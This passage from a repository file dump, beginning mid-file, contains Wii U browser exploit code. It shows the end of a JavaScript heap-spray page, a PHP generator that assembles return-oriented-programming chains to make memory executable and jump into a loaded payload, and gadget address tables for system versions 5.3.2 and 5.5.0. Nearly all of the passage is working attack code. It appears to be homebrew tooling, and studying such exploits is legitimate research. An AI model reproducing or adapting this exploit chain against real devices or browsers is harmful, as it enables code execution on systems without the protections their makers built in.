string.\ntarget = alloc(0x1A0 - 0x20, 2);\n\n// Allocate long string.\nlong_string = alloc(0x10004, 6944); // Decimal of the half-address which is repeated. Ex: 0x1B20 = 0x1B201B20\n\n// Make and free 0x1A4 bytes.\nforce_arr.join();\n\nvar pointer = sprayInc(420);\nvar code = sprayCode(300);\n\narr.join();\n\nalert(\"Your Wii U is incompatible.\");\n\n</script>"
  },
  {
    "path": "www/loadiine_gx2/wiiu_browserhax_common.php",
    "content": "<?php\n\nrequire_once(\"wiiuhaxx_common_cfg.php\");\n\nif(!isset($wiiuhaxxcfg_payloadfilepath) || !isset($wiiuhaxxcfg_loaderfilepath))die(\"The filepaths for wiiuhaxxcfg are not set in the cfg file.\");\n\nif(!isset($sysver))$sysver = -1;\n\nif(isset($_REQUEST['sysver']))\n{\n\tif($_REQUEST['sysver']===\"532\")\n\t{\n\t\t$sysver = 532;\n\t}\n\telse if($_REQUEST['sysver']===\"540\")\n\t{\n\t\t$sysver = 540;\n\t}\n\telse if($_REQUEST['sysver']===\"550\")\n\t{\n\t\t$sysver = 550;\n\t\t$wiiuhaxxcfg_payloadfilepath = \"code550.bin\";\n\t}\n}\n\nif($sysver===-1)die(\"The system-version must be specified via an URL parameter.\");\n\n$filesysver = $sysver;\nif($filesysver == 540)$filesysver = 532;\n\nrequire_once(\"wiiuhaxx_rop_sysver_$filesysver.php\");\n\nif(!isset($ropchainselect))$ropchainselect = -1;\nif($ropchainselect == -1)\n{\n\t$ropchainselect = 1;\n}\n\nif(!isset($generatebinrop))$generatebinrop = 0;\n\n/*\nDocumentation for the addrs loaded from the above:\n\n$ROP_POPJUMPLR_STACK12 Load LR from stackreg+12, add stackreg with 8, then jump to LR.\n$ROP_POPJUMPLR_STACK20 Add stackreg with 16, load LR from stackreg+4 then jump to LR.\n$ROP_CALLFUNC Call the code with the address stored in r27, with: r3=r29, r4=r31, r5=r25, r6=r24, r7=r28. Then once it returns from that code: r3=r29. Load r20..r31 from the data starting at stackreg+8. Load LR from stackreg+60, add stackreg with 56, then jump to LR.\n$ROP_CALLR28_POP_R28_TO_R31 Set r4 to r31, then call the code with the address stored in r28. Load r28..r31 from the data starting at stackreg+8. Load LR from stackreg+28. Add stackreg with 24, then jump to LR.\n$ROP_POP_R28R29R30R31 Load r28..r31 from the data starting at stackreg+8. Load LR from stackreg+28, add stackreg with 24, then jump to LR.\n$ROP_POP_R27 Load r27 from stackreg+12. Load LR from stackreg+36, add stackreg with 32, then jump to LR.\n$ROP_POP_R24_TO_R31 Load r24..r31 with the data starting at stackreg+16. Load LR from stackreg+52. Add stackreg with 48, then jump to LR.\n$ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM r12=r3. r9 = *r12, this value must be non-zero otherwise a branch to elsewhere is executed. r5 = *(r12+36), r3 = *(r12+28), r4 = *(r12+32), r6 = *(r12+4). Then it calls the address stored in r9.\n$ROP_SETR3TOR31_POP_R31 r3=r31. Load LR from stackreg+20, load r31 from stackreg+12, add stackreg with 16 then jump to LR.\n\n$ROP_memcpy Address of \"memcpy\" in coreinit.\n$ROP_DCFlushRange Address of \"DCFlushRange\" in coreinit. void DCFlushRange(const void *addr, size_t length);\n$ROP_ICInvalidateRange Address of \"ICInvalidateRange\" in coreinit. void ICInvalidateRange(const void *addr, size_t length);\n$ROP_OSSwitchSecCodeGenMode Address of \"OSSwitchSecCodeGenMode\" in coreinit. OSSwitchSecCodeGenMode(bool flag)\n$ROP_OSCodegenCopy Address of \"OSCodegenCopy\" in coreinit. u32 OSCodegenCopy(dstaddr, srcaddr, size)\n$ROP_OSGetCodegenVirtAddrRange Address of \"OSGetCodegenVirtAddrRange\" in coreinit. void OSGetCodegenVirtAddrRange(u32 *out0, u32 *out1)\n$ROP_OSGetCoreId Address of \"OSGetCoreId\" in coreinit.\n$ROP_OSGetCurrentThread Address of \"OSGetCurrentThread\" in coreinit. OSThread *OSGetCurrentThread(void)\n$ROP_OSSetThreadAffinity Address of \"OSSetThreadAffinity\" in coreinit. OSSetThreadAffinity(OSThread* thread, u32 affinity)\n$ROP_OSYieldThread Address of \"OSYieldThread\" in coreinit. OSYieldThread(void)\n$ROP_OSFatal Address of \"OSFatal\" in coreinit.\n$ROP_Exit Address of \"_Exit\" in coreinit.\n$ROP_OSScreenFlipBuffersEx Address of \"OSScreenFlipBuffersEx\" in coreinit.\n$ROP_OSScreenClearBufferEx Address of \"OSScreenClearBufferEx\" in coreinit.\n$ROP_OSDynLoad_Acquire Address of \"OSDynLoad_Acquire\" in coreinit.\n$ROP_OSDynLoad_FindExport Address of \"OSDynLoad_FindExport\" in coreinit.\n$ROP_os_snprintf Address of \"__os_snprintf\" in coreinit.\n*/\n\nfunction genu32_unicode($value)//This would need updated to support big-endian.\n{\n\t$hexstr = sprintf(\"%08x\", $value);\n\t$outstr = \"\\u\" . substr($hexstr, 4, 4) . \"\\u\" . substr($hexstr, 0, 4);\n\treturn $outstr;\n}\nfunction genu32_unicode_jswrap($value)\n{\n\t$str = \"\\\"\" . genu32_unicode($value) . \"\\\"\";\n\treturn $str;\n}\nfunction ropchain_appendu32($val)\n{\n\tglobal $ROPCHAIN, $generatebinrop;\n\tif($generatebinrop==0)\n\t{\n\t\t$ROPCHAIN.= genu32_unicode($val);\n\t}\n\telse\n\t{\n\t\t$ROPCHAIN.= pack(\"N*\", $val);\n\t}\n}\n\nfunction generate_ropchain()\n{\n\tglobal $ROPCHAIN, $generatebinrop, $ropchainselect;\n\n\t$ROPCHAIN = \"\";\n\n\tif($generatebinrop==0)$ROPCHAIN .= \"\\\"\";\n\n\tif($ropchainselect==1)\n\t{\n\t\tgenerateropchain_type1();\n\t}\n\n\tif($generatebinrop==0)$ROPCHAIN.= \"\\\"\";\n}\n\nfunction wiiuhaxx_generatepayload()\n{\n\tglobal $wiiuhaxxcfg_payloadfilepath, $wiiuhaxxcfg_loaderfilepath;\n\n\t$actual_payload = file_get_contents($wiiuhaxxcfg_payloadfilepath);\n\tif($actual_payload === FALSE || strlen($actual_payload) < 4)return FALSE;\n\n\t$loader = file_get_contents($wiiuhaxxcfg_loaderfilepath);\n\tif($loader === FALSE || strlen($loader) < 4)return FALSE;\n\t$len = strlen($actual_payload);\n\n\twhile($len & 0x3)//The actual payload size must be 4-byte aligned.\n\t{\n\t\t$actual_payload.= pack(\"C*\", 0x00);\n\t\t$len = strlen($actual_payload);\n\t}\n\n\t$loader .= pack(\"N*\", $len);\n\n\treturn $loader . $actual_payload;\n}\n\nfunction ropgen_pop_r24_to_r31($inputregs)\n{\n\tglobal $ROP_POP_R24_TO_R31;\n\n\tropchain_appendu32($ROP_POP_R24_TO_R31);\n\tropchain_appendu32(0x0);\n\tropchain_appendu32(0x0);\n\tfor($i=0; $i<(32-24); $i++)ropchain_appendu32($inputregs[$i]);\n\tropchain_appendu32(0x0);\n}\n\nfunction ropgen_setr3_popr20_to_r31($inputregs)//r3 = r29, then pop r20..r31.\n{\n\tropchain_appendu32($ROP_CALLFUNC + 0x1c);\n\n\tfor($i=0; $i<(32-20); $i++)ropchain_appendu32($inputregs[$i]);\n\tropchain_appendu32(0x0);\n}\n\nfunction ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6, $r28)\n{\n\tglobal $ROP_CALLR28_POP_R28_TO_R31, $ROP_CALLFUNC;\n\n\t$inputregs = array();\n\t$inputregs[24 - 24] = $r6;//r24 / r6\n\t$inputregs[25 - 24] = $r5;//r25 / r5\n\t$inputregs[26 - 24] = 0x0;//r26\n\t$inputregs[27 - 24] = $ROP_CALLR28_POP_R28_TO_R31;//r27\n\t$inputregs[28 - 24] = $funcaddr;//r28 / r7\n\t$inputregs[29 - 24] = $r3;//r29 / r3\n\t$inputregs[30 - 24] = 0x0;//r30\n\t$inputregs[31 - 24] = $r4;//r31 / r4\n\n\tropgen_pop_r24_to_r31($inputregs);\n\n\tropchain_appendu32($ROP_CALLFUNC);\n\n\tropchain_appendu32($r28);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n}\n\nfunction ropgen_callgadget_singleparam($funcaddr, $r3)\n{\n\tropgen_setr3($r3);\n\n\tropchain_appendu32($funcaddr);\n}\n\nfunction ropgen_setr3($r3)\n{\n\tglobal $ROP_POP_R28R29R30R31, $ROP_SETR3TOR31_POP_R31;\n\n\tropchain_appendu32($ROP_POP_R28R29R30R31);\n\n\tropchain_appendu32(0x0);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32($r3);//r31\n\tropchain_appendu32(0x0);\n\n\tropchain_appendu32($ROP_SETR3TOR31_POP_R31);//Setup r3.\n\n\tropchain_appendu32(0x0);\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n}\n\nfunction ropgen_write_r3r4_tomem($outaddr)//r3 is written to $outaddr, then $ROPHEAP is written to $ROPHEAP.\n{\n\tglobal $ROP_POP_R28R29R30R31, $ROP_CALLR28_POP_R28_TO_R31, $ROP_OSGetCodegenVirtAddrRange, $ROPHEAP;\n\n\tropchain_appendu32($ROP_POP_R28R29R30R31);\n\n\tropchain_appendu32($ROP_OSGetCodegenVirtAddrRange + 0x20);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32($outaddr);//r30\n\tropchain_appendu32($ROPHEAP);//r31\n\tropchain_appendu32(0x0);\n\n\tropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);\n\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n}\n\nfunction ropgen_writeword_tomem($value, $addr)\n{\n\tropgen_setr3($value);\n\n\tropgen_write_r3r4_tomem($addr);\n}\n\nfunction ropgen_OSFatal($stringaddr)\n{\n\tglobal $ROP_OSFatal;\n\n\tropgen_callgadget_singleparam($ROP_OSFatal, $stringaddr);\n}\n\nfunction ropgen_Exit()\n{\n\tglobal $ROP_Exit;\n\n\tropchain_appendu32($ROP_Exit);\n}\n\nfunction ropgen_OSGetCoreId()\n{\n\tglobal $ROP_OSGetCoreId;\n\n\tropgen_callfunc($ROP_OSGetCoreId, 0x0, 0x0, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_os_snprintf($outstr_addr, $outstrsize, $formatstr_addr, $arg)\n{\n\tglobal $ROP_os_snprintf;\n\n\tropgen_callfunc($ROP_os_snprintf, $outstr_addr, $outstrsize, $formatstr_addr, $arg, 0x0);\n}\n\nfunction ropgen_OSScreenFlipBuffersEx($screenid)\n{\n\tglobal $ROP_OSScreenFlipBuffersEx;\n\n\tropgen_callfunc($ROP_OSScreenFlipBuffersEx, $screenid, 0x0, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_OSScreenClearBufferEx($screenid, $color)//Don't use any of this OSScreen stuff, this stuff just crashes since OSScreen wasn't initialized properly.\n{\n\tglobal $ROP_OSScreenClearBufferEx;\n\n\tropgen_callfunc($ROP_OSScreenClearBufferEx, $screenid, $color, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_colorfill($screenid, $r, $g, $b, $a)\n{\n\tropgen_OSScreenClearBufferEx($screenid, ($r<<24) | ($g<<16) | ($b<<8) | $a);\n\tropgen_OSScreenFlipBuffersEx($screenid);\n}\n\nfunction ropgen_OSCodegenCopy($dstaddr, $srcaddr, $size)//This can't be used under the internetbrowser due to lack of permissions it seems.\n{\n\tglobal $ROP_OSCodegenCopy;\n\n\tropgen_callfunc($ROP_OSCodegenCopy, $dstaddr, $srcaddr, $size, 0x0, 0x0);\n}\n\nfunction ropgen_OSGetCodegenVirtAddrRange($outaddr0, $outaddr1)\n{\n\tglobal $ROP_OSGetCodegenVirtAddrRange;\n\n\tropgen_callfunc($ROP_OSGetCodegenVirtAddrRange, $outaddr0, $outaddr1, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_OSSwitchSecCodeGenMode($flag)//flag0 == RW- permissions, flag1 == R-X permissions.\n{\n\tglobal $ROP_OSSwitchSecCodeGenMode;\n\n\tropgen_callfunc($ROP_OSSwitchSecCodeGenMode, $flag, 0x0, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_memcpy($dst, $src, $size)\n{\n\tglobal $ROP_memcpy;\n\n\tropgen_callfunc($ROP_memcpy, $dst, $src, $size, 0x0, 0x0);\n}\n\nfunction ropgen_DCFlushRange($addr, $size)\n{\n\tglobal $ROP_DCFlushRange;\n\n\tropgen_callfunc($ROP_DCFlushRange, $addr, $size, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_ICInvalidateRange($addr, $size)\n{\n\tglobal $ROP_ICInvalidateRange;\n\n\tropgen_callfunc($ROP_ICInvalidateRange, $addr, $size, 0x0, 0x0, 0x0);\n}\n\nfunction ropgen_copycodebin_to_codegen($codegen_addr, $codebin_addr, $codebin_size)\n{\n\t//global $ROPHEAP;\n\n\t//ropgen_OSCodegenCopy($codegen_addr, $codebin_addr, $codebin_size);\n\t//ropgen_OSGetCoreId();\n\t//ropgen_OSGetCodegenVirtAddrRange($ROPHEAP+0x200, $ROPHEAP+0x10+4);\n\t//ropgen_callfunc(0x103769C, 0x0, 0x0, 0x0, 0x0, 0x0);//5.5.0 getcodegeninfo syscall\n\t//ropgen_display_u32(0);\n\n\tropgen_OSSwitchSecCodeGenMode(0);\n\tropgen_memcpy($codegen_addr, $codebin_addr, $codebin_size);\n\tropgen_OSSwitchSecCodeGenMode(1);\n\n\tropgen_DCFlushRange($codegen_addr, $codebin_size);\n\tropgen_ICInvalidateRange($codegen_addr, $codebin_size);\n}\n\nfunction ropgen_display_u32($skip_printval_initialization)//This prints the value of r3 to the screen using OSFatal + os_snprintf with formatstr \"%x\". When $skip_printval_initialization is non-zero, this will print the value that's already stored at $ROPHEAP+0x10+4.\n{\n\tglobal $ROPHEAP, $ROP_POP_R28R29R30R31, $ROP_os_snprintf, $ROP_CALLR28_POP_R28_TO_R31, $ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM;\n\n\t$blkaddr = $ROPHEAP + 0x10;\n\t$outstr = $blkaddr + 0x40;\n\t$formatstr = $outstr + 0x40;\n\n\tif($skip_printval_initialization===0)ropgen_write_r3r4_tomem($blkaddr + 4);//Setup the r6 value.\n\n\tropgen_writeword_tomem($ROP_POP_R28R29R30R31, $blkaddr + 0);//Setup the jump-addr.\n\n\tropgen_writeword_tomem($outstr, $blkaddr + 28);//outstr addr\n\t//ropgen_writeword_tomem(0x0, $blkaddr + 32);//This doesn't matter since this r4 would get overwritten with the below anyway.\n\tropgen_writeword_tomem($formatstr, $blkaddr + 36);//formatstr addr\n\n\tropgen_writeword_tomem(0x25780000, $formatstr);//\"%x\"\n\n\tropgen_callgadget_singleparam($ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM, $blkaddr);\n\n\tropchain_appendu32($ROP_os_snprintf);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x40);//r31 / r4 (outstr maxsize)\n\tropchain_appendu32(0x0);\n\n\tropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//snprintf(outstr, \"%x\", 0x40, <value of r3 at the time of ropgen_display_u32() entry>);\n\n\tropchain_appendu32($r28);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n\n\tropgen_OSFatal($outstr);\n}\n\nfunction ropgen_switchto_core1()\n{\n\tglobal $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31;\n\n\tropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below.\n\n\tropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(<output from the above call>, 0x2);\n\n\tropchain_appendu32($ROP_OSYieldThread);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n\n\tropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);\n\n\tropchain_appendu32(0x0);//r28\n\tropchain_appendu32(0x0);//r29\n\tropchain_appendu32(0x0);//r30\n\tropchain_appendu32(0x0);//r31\n\tropchain_appendu32(0x0);\n}\n\nfunction generateropchain_type1()\n{\n\tglobal $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN;\n\n\t$payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not.\n\t$codegen_addr = 0x01800000;\n\t//$payload_srcaddr must be defined by the code including this .php.\n\n\t//ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow.\n\n\t//ropchain_appendu32(0x80808080);//Trigger a crash.\n\n\t//ropgen_OSFatal($codepayload_srcaddr);//OSFatal(<data from the haxx>);\n\n\tropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1.\n\n\tropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);\n\n\t//ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white.\n\n\t$regs = array();\n\t$regs[24 - 24] = $ROP_OSFatal;//r24\n\t$regs[25 - 24] = $ROP_Exit;//r25\n\t$regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26\n\t$regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27\n\t$regs[28 - 24] = $ROP_os_snprintf;//r28\n\t$regs[29 - 24] = $payload_srcaddr;//r29\n\t$regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading.\n\t$regs[31 - 24] = $ROPHEAP;//r31\n\n\tropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a \"paramblk\" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.\n\n\tropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written.\n\n\t//Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted.\n\tropchain_appendu32(0x0);\n\tropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);\n\tropgen_pop_r24_to_r31($regs);\n\tropchain_appendu32($codegen_addr);\n}\n\n?>\n"
  },
  {
    "path": "www/loadiine_gx2/wiiuhaxx_common_cfg.php",
    "content": "<?php\n\n$wiiuhaxxcfg_payloadfilepath = \"code532.bin\";\n$wiiuhaxxcfg_loaderfilepath = \"wiiuhaxx_loader.bin\";\n\n?>"
  },
  {
    "path": "www/loadiine_gx2/wiiuhaxx_rop_sysver_532.php",
    "content": "<?php\n$ROP_POPJUMPLR_STACK12 = 0x0101cd14;\n$ROP_POPJUMPLR_STACK20 = 0x01024d28;\n$ROP_CALLFUNC = 0x0107f82c;\n$ROP_CALLR28_POP_R28_TO_R31 = 0x0107d328;\n$ROP_POP_R28R29R30R31 = 0x0101d8c4;\n$ROP_POP_R27 = 0x0101caf0;\n$ROP_POP_R24_TO_R31 = 0x0102042c;\n$ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x01025360;\n$ROP_SETR3TOR31_POP_R31 = 0x0101cc00;\n\n$ROP_memcpy = 0x01035a68;\n$ROP_DCFlushRange = 0x01023ee8;\n$ROP_ICInvalidateRange = 0x01024010;\n$ROP_OSSwitchSecCodeGenMode = 0x010370c0;\n$ROP_OSCodegenCopy = 0x010370d8;\n$ROP_OSGetCodegenVirtAddrRange = 0x01036fc0;\n$ROP_OSGetCoreId = 0x01024e2c;\n$ROP_OSGetCurrentThread = 0x010429cc;\n$ROP_OSSetThreadAffinity = 0x01042284;\n$ROP_OSYieldThread = 0x01041250;\n$ROP_OSFatal = 0x01031368;\n$ROP_Exit = 0x0101cd70;\n$ROP_OSScreenFlipBuffersEx = 0x0103a9d0;\n$ROP_OSScreenClearBufferEx = 0x0103aa90;\n$ROP_OSDynLoad_Acquire = 0x0102a31c;\n$ROP_OSDynLoad_FindExport = 0x0102b790;\n$ROP_os_snprintf = 0x0102f09c;\n?>\n"
  },
  {
    "path": "www/loadiine_gx2/wiiuhaxx_rop_sysver_550.php",
    "content": "<?php\n$ROP_POPJUMPLR_STACK12 = 0x0101cd24;\n$ROP_POPJUMPLR_STACK20 = 0x01024d88;\n$ROP_CALLFUNC = 0x01080274;\n$ROP_CALLR28_POP_R28_TO_R31 = 0x0107dd70;\n$ROP_POP_R28R29R30R31 = 0x0101d8d4;\n$ROP_POP_R27 = 0x0101cb00;\n$ROP_POP_R24_TO_R31 = 0x010204c8;\n$ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x010253c0;\n$ROP_SETR3TOR31_POP_R31 = 0x0101cc10;\n\n$ROP_memcpy = 0x01035fc8;\n$ROP_DCFlushRange = 0x01023f88;\n$ROP_ICInvalidateRange = 0x010240b0;\n$ROP_OSSwitchSecCodeGenMode = 0x010376c0;\n$ROP_OSCodegenCopy = 0x010376d8;\n$ROP_OSGetCodegenVirtAddrRange = 0x010375c0;\n$ROP_OSGetCoreId = 0x01024e8c;\n$ROP_OSGetCurrentThread = 0x01043150;\n$ROP_OSSetThreadAffinity = 0x010429dc;\n$ROP_OSYieldThread = 0x010418e4;\n$ROP_OSFatal = 0x01031618;\n$ROP_Exit = 0x0101cd80;\n$ROP_OSScreenFlipBuffersEx = 0x0103afd0;\n$ROP_OSScreenClearBufferEx = 0x0103b090;\n$ROP_OSDynLoad_Acquire = 0x0102a3b4;\n$ROP_OSDynLoad_FindExport = 0x0102b828;\n$ROP_os_snprintf = 0x0102f160;\n?>\n"
  }
]